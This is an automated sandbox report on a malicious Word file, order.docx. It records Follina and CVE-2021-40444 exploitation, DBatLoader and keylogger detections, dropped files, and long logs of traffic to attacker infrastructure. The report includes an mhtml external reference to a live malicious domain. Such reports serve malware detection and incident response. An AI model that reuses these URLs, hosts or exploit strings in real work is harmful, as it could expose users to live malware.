Windows Analysis Report
order.docx

Overview

General Information

Sample Name: order.docx
Analysis ID: 676557
MD5: 8abea2d6c14af54c6eac09d158554085
SHA1: 3802d9c8b3530fe7b140cbd4a12c3895c46077b2
SHA256: aa26ed65b5b05b28fa8c56df8c0d87e6bfd8b98f962824293acce14d03cd3412
Tags: docdocxFollina
Infos:

Detection

CVE-2021-40444, DBatLoader, Follina CVE-2022-30190
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Multi AV Scanner detection for submitted file
Antivirus / Scanner detection for submitted sample
Yara detected DBatLoader
System process connects to network (likely due to code injection or exploit)
Sigma detected: Execute DLL with spoofed extension
Yara detected Microsoft Office Exploit Follina CVE-2022-30190
Detected CVE-2021-40444 exploit
Multi AV Scanner detection for domain / URL
Antivirus detection for dropped file
Multi AV Scanner detection for dropped file
Snort IDS alert for network traffic
Yara detected UAC Bypass using ComputerDefaults
Contains an external reference to another file
Document exploit detected (process start blacklist hit)
Uses certutil -decode
Queries the volume information (name, serial number etc) of a device
Yara signature match
Antivirus or Machine Learning detection for unpacked file
Contains functionality to query locales information (e.g. system language)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Uses code obfuscation techniques (call, push, ret)
PE file contains sections with non-standard names
Internet Provider seen in connection with other malware
Detected potential crypto function
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to dynamically determine API calls
Contains functionality to read the clipboard data
Found dropped PE file which has not been started or loaded
Potential document exploit detected (performs DNS queries)
Contains functionality to record screenshots
HTTP GET or POST without a user agent
Downloads executable code via HTTP
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Drops files with a non-matching file extension (content does not match file extension)
Found inlined nop instructions (likely shell or obfuscated code)
PE file does not import any functions
Potential document exploit detected (unknown TCP traffic)
PE file contains an invalid checksum
Extensive use of GetProcAddress (often used to hide API calls)
PE file contains strange resources
Drops PE files
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Drops PE files to the windows directory (C:\Windows)
Yara detected Keylogger Generic
Contains functionality to retrieve information about pressed keystrokes
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Compiles C# or VB.Net code
Contains functionality to detect sandboxes (mouse cursor move detection)
Found large amount of non-executed APIs
Potential document exploit detected (performs HTTP gets)
Creates a process in suspended mode (likely to inject code)
Contains functionality for read data from the clipboard

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: order.docx Virustotal: Detection: 55% Perma Link
Source: order.docx ReversingLabs: Detection: 69%
Antivirus / Scanner detection for submitted sample
Source: order.docx Avira: detected
Multi AV Scanner detection for domain / URL
Source: polpharmar.com Virustotal: Detection: 5% Perma Link
Source: http://polpharmar.com/test.inf Virustotal: Detection: 5% Perma Link
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Roaming\vv.jpg Avira: detection malicious, Label: TR/Crypt.XPACK.Gen3
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Roaming\POtest.exe ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Roaming\vv.jpg ReversingLabs: Detection: 35%
Antivirus or Machine Learning detection for unpacked file
Source: 36.2.POtest.exe.3b18008.4.unpack Avira: Label: TR/Patched.Ren.Gen
Source: 36.2.POtest.exe.278a608.1.unpack Avira: Label: TR/Patched.Ren.Gen
Source: 36.2.POtest.exe.50590000.7.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 36.2.POtest.exe.3c0b604.5.unpack Avira: Label: TR/Patched.Ren.Gen

Exploits
barindex
Yara detected Microsoft Office Exploit Follina CVE-2022-30190
Source: Yara match File source: 00000008.00000002.609010056.00000000027F0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.608798765.00000000027D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.614385326.0000000002C50000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Detected CVE-2021-40444 exploit
Source: document.xml.rels Extracted files from sample: mhtml:http://polpharmar.com/test.html!x-usc:http://polpharmar.com/test.html
Yara detected UAC Bypass using ComputerDefaults
Source: Yara match File source: 36.2.POtest.exe.3b18008.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 36.2.POtest.exe.3c0b604.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 36.2.POtest.exe.3c0b604.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 36.2.POtest.exe.3db0000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 36.2.POtest.exe.3b18008.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000024.00000002.699197045.0000000003B14000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.699976877.0000000003BB0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.702417968.0000000003E0D000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: POtest.exe PID: 2272, type: MEMORYSTR
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE File opened: C:\Windows\SysWOW64\MSVCR100.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_00405EF0 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA, 36_2_00405EF0

Software Vulnerabilities
barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process created: C:\Windows\SysWOW64\msdt.exe
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: polpharmar.com
Source: global traffic DNS query: name: polpharmar.com
Source: global traffic DNS query: name: polpharmar.com
Source: global traffic DNS query: name: polpharmar.com
Source: global traffic DNS query: name: polpharmar.com
Source: global traffic DNS query: name: www.varshtrade.com
Source: global traffic DNS query: name: www.varshtrade.com
Source: global traffic DNS query: name: www.varshtrade.com
Source: global traffic DNS query: name: www.varshtrade.com
Source: global traffic DNS query: name: www.varshtrade.com
Source: global traffic DNS query: name: www.varshtrade.com
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 4x nop then or edx, 20h 36_2_0047DAB4
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.6:49765 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49765
Source: global traffic TCP traffic: 192.168.2.6:49765 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49765 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49765
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49765
Source: global traffic TCP traffic: 192.168.2.6:49765 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49765
Source: global traffic TCP traffic: 192.168.2.6:49765 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49765 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49765
Source: global traffic TCP traffic: 192.168.2.6:49765 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49766 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49766
Source: global traffic TCP traffic: 192.168.2.6:49766 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49766 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49766
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49766
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49766
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49766
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49766
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49766
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49766
Source: global traffic TCP traffic: 192.168.2.6:49766 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49766 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49766
Source: global traffic TCP traffic: 192.168.2.6:49766 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49766
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49766
Source: global traffic TCP traffic: 192.168.2.6:49766 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49766 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49766
Source: global traffic TCP traffic: 192.168.2.6:49766 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49766 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49766
Source: global traffic TCP traffic: 192.168.2.6:49766 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49766 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49766
Source: global traffic TCP traffic: 192.168.2.6:49766 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49765 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49765
Source: global traffic TCP traffic: 192.168.2.6:49765 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49765
Source: global traffic TCP traffic: 192.168.2.6:49766 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49766
Source: global traffic TCP traffic: 192.168.2.6:49766 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49766 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49765 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49766
Source: global traffic TCP traffic: 192.168.2.6:49766 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49766 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49766
Source: global traffic TCP traffic: 192.168.2.6:49766 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49766 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49766
Source: global traffic TCP traffic: 192.168.2.6:49766 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49765
Source: global traffic TCP traffic: 192.168.2.6:49765 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49765 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49765
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49766
Source: global traffic TCP traffic: 192.168.2.6:49766 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49766 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49766 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49766 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49766 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49766 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49766 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49802 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49802
Source: global traffic TCP traffic: 192.168.2.6:49802 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49802 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49802
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49802
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49802
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49802
Source: global traffic TCP traffic: 192.168.2.6:49802 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49802
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49802
Source: global traffic TCP traffic: 192.168.2.6:49802 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49802 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49802
Source: global traffic TCP traffic: 192.168.2.6:49802 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49802 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49802
Source: global traffic TCP traffic: 192.168.2.6:49802 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49766 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
